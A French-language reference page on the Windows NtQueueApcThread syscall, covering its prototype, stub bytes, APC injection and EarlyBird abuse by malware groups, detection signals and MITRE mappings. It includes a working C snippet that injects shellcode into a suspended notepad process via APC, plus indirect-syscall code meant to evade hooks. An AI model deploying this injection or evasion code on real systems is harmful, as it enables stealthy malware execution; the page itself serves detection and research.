NtQueueApcThread

Prototype

NTSTATUS NtQueueApcThread(
  HANDLE          ThreadHandle,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID           ApcArgument1,
  PVOID           ApcArgument2,
  PVOID           ApcArgument3
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 45 00 00 00      mov eax, 0x45
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

File un APC utilisateur régulier sur le thread cible. Le SSN `0x45` est stable sur chaque build Win10/11 livré. Un APC utilisateur en file ne se déclenche que lorsque le thread cible entre dans un wait *alertable* (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, idles de message-loop GUI). Si le thread ne devient jamais alertable, l'APC reste en file indéfiniment — d'où l'introduction de `NtQueueApcThreadEx` avec `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) qui force le déclenchement. L'EarlyBird APC injection contourne l'exigence d'alertabilité en visant un thread fraîchement créé et suspendu qui n'a pas encore exécuté sa première instruction.

Usage courant par les malwares

Deux saveurs principales en abusent. (1) Injection APC distante classique : ouvrir un thread cible, mettre en file un APC pointant sur `LoadLibraryA` ou directement sur du shellcode dans `ApcArgument1`, attendre qu'il se déclenche. (2) EarlyBird : créer un processus bénin suspendu, mettre en file l'APC sur le thread primaire avant que le loader ne tourne, reprendre — l'APC se déclenche lorsque le loader atteint son premier wait alertable dans `ntdll!LdrpInitializeProcess`. Utilisé par Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, la combinaison originale APC+Atombombing, et les BOF `AddressOfPage` de Cobalt Strike.

Opportunités de détection

Aucun événement Sysmon dédié. ETW Threat Intelligence émet `EtwTiLogQueueApcThread` pour les APC utilisateur mis en file inter-processus — c'est le signal noyau principal et ce que la plupart des EDR consomment. Le callback `PsSetCreateThreadNotifyRoutine` ne se déclenche qu'à la création de thread, pas à la mise en file d'APC, donc EarlyBird se détecte par la *combinaison* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` depuis un parent non-debugger. La télémétrie de stack-walk à la livraison de l'APC est l'étalon-or : si la chaîne de retour ne montre que des frames ntdll avec une routine APC en mémoire privée, c'est de l'injection à haute confiance.

Exemples de syscalls directs

; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 45h          ; SSN
    syscall
    ret
NtQueueApcThread ENDP

// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);

Mappings MITRE ATT&CK

• T1055.004Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗